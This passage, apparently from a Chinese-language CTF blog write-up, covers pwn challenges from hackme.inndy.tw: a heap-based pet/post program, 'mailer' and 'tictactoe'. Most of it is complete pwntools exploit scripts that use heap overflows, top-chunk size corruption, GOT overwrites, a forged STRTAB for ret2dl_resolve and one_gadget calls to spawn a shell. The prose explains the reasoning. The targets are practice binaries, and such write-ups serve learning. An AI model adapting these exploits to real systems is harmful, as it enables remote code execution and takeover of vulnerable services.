sla(p," >>\n",'3')
sla(p,"Post id >>\n",str(id))
sla(p,"New title >>\n",title)
sla(p,"New content size >>\n",str(size))
sla(p,"Content >>\n",content)
def adopt(name):
sla(p," >>\n",'5')
sla(p,"Name your pet >>\n",name)
def rename(name):
sla(p," >>\n",'6')
sla(p,"Name your pet >>\n",name)
def abandom():
sla(p," >>\n",'7')
#gdb.attach(p,"tracemalloc on")
sp()
userdb=0x000603158
#第一步:通过post伪造user,泄露出堆基地址
payload1= 'a'*0x208 + p64(userdb-0x10)
register('user1','user1')
login('user1','user1')
post('post1',0x230,payload1) #post1
edit_post(2,'post1',0x240,'post1')#post的uid是2
exit()
register('user2','user2')
login('user2','user2')
p.recvuntil("Pet Type: ")
leak_heap = u64(p.recvline().strip('\n').ljust(8,'\x00'))
heap_base = leak_heap - 0x230#通过gdb调试得出的0x230偏移,得到堆的基地址
print "leak_heap--------------->",hex(leak_heap)
print "heap_base--------------->",hex(heap_base)
sp()
#第二步:伪造pet,泄露出puts,从而泄露libc
fake_pet = heap_base + 0x940#为了泄露出puts,需要构造一个假的的pet
#0x940偏移是加上post后产生的0x120堆块得到的,使得fake_pet指向pust的got
magic = 0x603164
payload2 = 'a'*0x208 + p64(fake_pet)
post('post2',0x100,p64(elf.got["puts"])*2)#uid = 4,post2
post('post3',0x230,payload2)#uid = 5,post3
edit_post(5,'post3',0x240,'post3')
exit()
register('user3','user3')
login('user3','user3')
p.recvuntil("Pet Name: ")
leak_libc = u64(p.recvline().strip('\n').ljust(8,'\x00'))
libc_base = leak_libc - libc.symbols['puts']
system = libc_base+libc.symbols['system']
print "libc_base----------->",hex(libc_base)
exit()
#第三步:泄露出magic,绕过检查,修改free的got表为system
login('user2','user2')
edit_post(4,'post2',0x100,p64(magic)*4)
exit()
login('user3','user3')
p.recvuntil("Pet Name: ")
leak_magic = u64(p.recvline().strip('\n').ljust(8,'\x00'))
print "magic----------------->",hex(leak_magic)
fake_magic = leak_magic + 0x600000000
payload3 = p64(fake_magic) + p64(elf.got['free'])
payload4 = 'a'*0x208 + p64(fake_pet)
post('post4',0x230,payload4) #uid = 7,post4
edit_post(7,'post4',0x240,'post4')
exit()
register('user4','user4')
login('user2','user2')
edit_post(4,'post2',0x100,payload3)
exit()
login('user4','user4')
rename(p64(system))
exit()
#第四步:通过free(/bin/sh\x00)来getshell
register('user5','user5')
login('user5','user5')
adopt('/bin/sh\x00')
abandom()
getshell()
这题主要的难点在于程序逻辑复杂,东西一多就难以整理出对解题有用的线索,在做这题的时候花了很多时间,同时光看ida是不够的,还得边调试边加深对程序逻辑的理解。另外在堆利用方面这题也算是比较新颖,值得学习
这题应该可以用onegadget来做,但是不知道为什么没法getshell,可能是玄学环境问题吧
mailer
32位程序,只开了个canary保护
程序逻辑比较简单
只有两个函数
write:
可以看到,这里使用了gets函数,则会有堆溢出的漏洞,
dump:
这个函数肯定是用于泄漏地址的,可以看到:fwrite(mail + 18, 1u, mail[17], stdout);
假如我们修改了length,那么由此泄漏出堆的地址
程序的主要逻辑就只有这些,我们会发现,没有free函数,那么就没法使用uaf等操作了
可利用的线索有:
- 创建mail的时候存在堆溢出,可修改length,可泄漏地址
- 创建mail的时候,写content时可溢出修改至top chunk
- 没开NX,堆可执行代码
由此我们的思路就清晰了,步骤如下
- 新建两个mail,创建chunk1和chunk2,其中chunk1输入title时写入shellcode,同时溢出到length,将其改为0x70,在使用dump功能的时候就可以把chunk1的堆地址泄漏出来
- 同时在chunk2中输入content的时候,溢出到top chunk,修改size为0xffffffff
- 再一次申请一个新的mail,大小为
elf.got["printf"] - top- 72-16
- 由于新的top chunk的size = old top chunk的地址+新malloc的chunk的大小,新的top chunk的地址为
elf.got["printf"] -16+4
- 下一次新建mail的时候,再输入的title就会刚刚好位于
elf.got["printf"]
中,修改为shellcode的地址 - 改printf的got表为shellcode地址,从而getshell
exp如下:
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./mailer"
context.binary=bin_elf
elf = ELF(bin_elf)
#libc = ELF("./libc-2.23.so")
libc = elf.libc
if sys.argv[1] == "r":
p = remote("hackme.inndy.tw",7721)
elif sys.argv[1] == "l":
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
def write(Length,Title,Content):
ru("Action: ")
sl("1")
ru("Content Length: ")
sl(str(Length))
ru("Title: ")
sl(Title)
ru("Content: ")
sl(Content)
shellcode =asm(shellcraft.sh())#length is 44
#print len(shellcode)
write(32,shellcode.ljust(0x40,"\x00")+p32(0x70),"aaaa")
write(32,"bbbb","bbbb"*8+p32(0)+p32(0xffffffff))
#write(48,"cccc","cccc")
sla(p,"Action: ","2")
ru("\x71")
leak_heap=u32(p.recv(7)[3:])
shellcode_addr = leak_heap+4
top = leak_heap+0xd8
fake_size = elf.got["printf"] - top- 72-16
print "shellcode address is : ",hex(shellcode_addr)
print "top chunk address is : ",hex(top)
print "fake size is : ",hex(fake_size)
print "fake size+top = ",hex(fake_size+top)
write(fake_size,'aaaa','bbbb')
gdb.attach(p)
pause()
sla(p,'Action: ','1')
sla(p,'Length: ','30')
sla(p,'Title: ',p32(shellcode_addr))
pause()
getshell()
tictactoe1、2
32位程序,开了canary,NX保护
tictactoe1和tictactoe2都是一样的题目,只是要求到的操作不一样,tictactoe1只需要得到flag_simple就行了,而tictactoe2需要搞到shell,才能得到进一步的flag
这里我就直接开始弄能拿到shell的操作
首先分析一波程序:
这其实是个井字棋游戏,只有赢了才能拿到flag,但实际上不可能赢,你最多做到平局
这时就需要通过找漏洞来操作了:
漏洞主要出在这里,v1可以输入为负数,从而导致可以任意地址写一个字节
这里就很容易想到,如果把puts的got表改成0x8048C46,也就是下图中的地址,即可拿到flag_simple
但是,我这里直接做getshell的操作,这实际上有两种getshell的方法
方法一
使用ret2dl_resolve的方法:
首先有一个for循环,最多进行九次,根据你选择的先手或者后手进行下棋,AI和用户交替下,通过check函数来判断棋局是否有结果,每一轮循环,会用取反来交替下棋
继续进入you_play函数分析:
如果用户输入9,那么可以改变下棋的占位字符(默认的是X),通过这个造成一个任意地址写,最多能达到9次的任意地址写
在main函数的最后:memset(&player, 0, 0x18u);
由此可以通过ret2dl_resolve的方法,把memset指向system,同时改player为$0,从而执行system($0\x00)getshell,当然system(sh\x00)也行,我这里用$0
ret2dl_resolve的关键点在于第一次执行memset函数的时候,会通过DT_STRTAB找到函数名的字符串,从而确定函数的真正地址,如果通过操作使得memset在找函数名字符串的时候找到“system”,那么memset就好绑定位system的got表内容
从IDA中看:
STRTAB位于0x0804af58中
输入:readelf -a tictactoe1
得到 STRTAB为0x080482fb
进入gdb调试,可以观察STRTAB内容:
发现memset字符串的偏移是0x44
再寻找system字符串在程序中的位置,得到可伪造的STRTAB为0x8049fc8
这样一来思路就有了
首先通过任意地址写,将0x0804af58改为0x8049fc8,只需要改末两个字节,使得STRTAB被伪造
接着通过任意地址写,将player(0x804B048)改成$0参数
就可以getshell了
exp如下:
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./tictactoe1"
context.binary=bin_elf
elf = ELF(bin_elf)
#libc = ELF("./libc-2.23.so")
libc = elf.libc
if sys.argv[1] == "r":
p = remote("hackme.inndy.tw",7721)
elif sys.argv[1] == "l":
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
def change(addr,value):
offset = addr -0x804B056
ru("\nInput move (9 to change flavor): ")
sl("9")
sd(value)
ru("\nInput move (9 to change flavor): ")
sd(str(offset))
player= 0x0804B048#改为sh\x00,或者$0
print "$0\x00".encode('hex')#73\x68\x00
print "sh\x00".encode('hex')#\x24\x30\x00
targe = 0x8049fc8#只需要修改后两个字节就行了
STRTAB = 0x0804AF58
bss = elf.bss()
ru("Play (1)st or (2)nd? ")
sl("1")
change(player,'\x00')#0
change(player,'\x24')#1 奇数轮次修改
change(STRTAB,'\xc8')#2
change(player + 1,'\x30')#3 奇数轮次修改
change(STRTAB + 1,'\x9f')#4
change(player+2,'\x00')#5 奇数轮次修改
change(bss+0x100,'\x00')#6 后三轮无关紧主要是为了退出循环
change(bss+0x100,'\x00')#7
change(bss+0x100,'\x00')#8
getshell()
这里需要注意的是,由于player每次会取反,改的时候需要注意统一用奇数轮次来写入
for ( i = 0; i <= 8 && !check(); ++i )
{
if ( player == -1 )
{
AI_play();
}
else
{
play_result();
you_play();
}
player = -player;
}
方法二
改整个程序流程为无限循环,从而进行常规的泄漏libc接着再getshell
这个方法是参考了这位大佬的:https://xz.aliyun.com/t/1785,tql
思路是这样的
-
第1步、首先,第一次进入you_play的时候,你最多有三次任意写的机会,可以写三个字节,用这个把main末尾出的memset函数的got表改成
`call you_play
的地址,从而实现了无限循环写 -
第2步、接着改open_got的为:
0x08048Cb4:printf("Here is your flag: %s\n", buf);
,这样以来,程序执行到open函数的时候就会去执行这句,从而泄漏出buf的地址,进而得到libc偏移 - 第3步、得到libc偏移后就能算出onegadget了,后面用于直接getshell
- 第4步、这时再将exit的got改为
0x08048bd5:call you_play
,这么做的原因是,在执行完0x08048Cb4:printf("Here is your flag: %s\n", buf);
后,将要执行exit(0),从而使得程序重新变回无限循环写 - 第5步、将check的关键变量
v1
改为-1,也就是0xffffffff,使得程序进入赢得游戏的if分支,从而执行之前第2、3、4步中的操作 - 第6步、这时我们有了onegadget,程序通过第四步的构造,再一次执行到了you_play函数,继续构造写入,这时要把check的关键变量v1改为不等于-1,从而进入输掉游戏的if分支
- 第7步、改open_got为 to ->call _exit 0x08048CF2
- 第8步、将exit的got改为onegadget
- 第9步、将check的关键变量
v1
改为0xffffffff,跟第5步一样,使得程序进入赢得游戏的if分支,使得之前第7、8步的构造得以执行 - 第10步、执行exit函数从而getshell
exp
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./tictactoe1"
context.binary=bin_elf
elf = ELF(bin_elf)
if sys.argv[1] == "r":
p = remote("hackme.inndy.tw",7714)
libc = ELF("./libc-2.23.so.i386")
elif sys.argv[1] == "l":
p = process(bin_elf)
libc = elf.libc
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
def change(addr,value):
offset = addr -0x804B056
ru("\nInput move (9 to change flavor): ")
sl("9")
sd(value)
ru("\nInput move (9 to change flavor): ")
sd(str(offset))
time.sleep(1)
sys.stdout.flush()#每隔0.5秒刷新一次stdout
memset_got = 0x0804B034
open_got = 0x0804B02C
exit_got = 0x0804B028
check = 0x0804B04D
ru("Play (1)st or (2)nd? ")
sl("1")
change(memset_got,'\xd5')# 将memset的got改为:0x08048bd5:call you_play
change(memset_got+1,'\x8b')
change(open_got,'\xb4')# 将open的got改为:0x08048Cb4:printf("Here is your flag: %s\n", buf);
change(open_got+1,'\x8c')
change(exit_got,'\xd5')# 将exit的got改为:0x08048bd5:call you_play
change(exit_got+1,'\x8b')
#将v1改为-1,则可赢得游戏,开始执行向print flag的if分支
change(check,"\xff")
change(check+1,"\xff")
change(check+2,"\xff")
#leak libc_base
offset =0x1462e#泄露的0xf7***f12到__libc_start_main的偏移
ru("Here is your flag: ")
libc_leak=u32(p.recv(4))
print "libc_leak:",hex(libc_leak)
__libc_start_main=libc_leak+offset
print "__libc_start_main:",hex(__libc_start_main)
libc_base=__libc_start_main-libc.sym["__libc_start_main"]
print "libc_base:"+hex(libc_base)
onegadget = libc_base+0x3AC69#远程端:0x3ac49,本地:0x5fbc5
print "onegadget:",hex(onegadget)
#输掉游戏,进入puts("Draw!......")的if分支
change(check+1,"\x01")
#改open_got为 to ->call _exit 0x08048CF2
change(open_got,"\xf2")
change(open_got+1,"\x8c")
#将exit的got改为onegadget
change(exit_got,p32(onegadget)[0])
change(exit_got+1,p32(onegadget)[1])
change(exit_got+2,p32(onegadget)[2])
change(exit_got+3,p32(onegadget)[3])
#赢得游戏,进入print flag的if分支
change(check+1,"\xff")
getshell()
这里需要注意的是,在泄漏libc那一步
泄漏出来的buf地址是一个这样的值:0xf7xxxf12,我是通过下断点进gdb调试,找到这个地址到__libc_start_main
的偏移,从而得到__libc_start_main
的真实地址,进而得到libc的基址
就这样算出onegadget
小结
通过这些题目,的确是让我学到了不少的骚操作,尤其是让我理解了调试的重要性,pwn题就是得慢慢看ida慢慢调试,加深自己对题目的理解,最后通过掌握的各个利用线索来getshell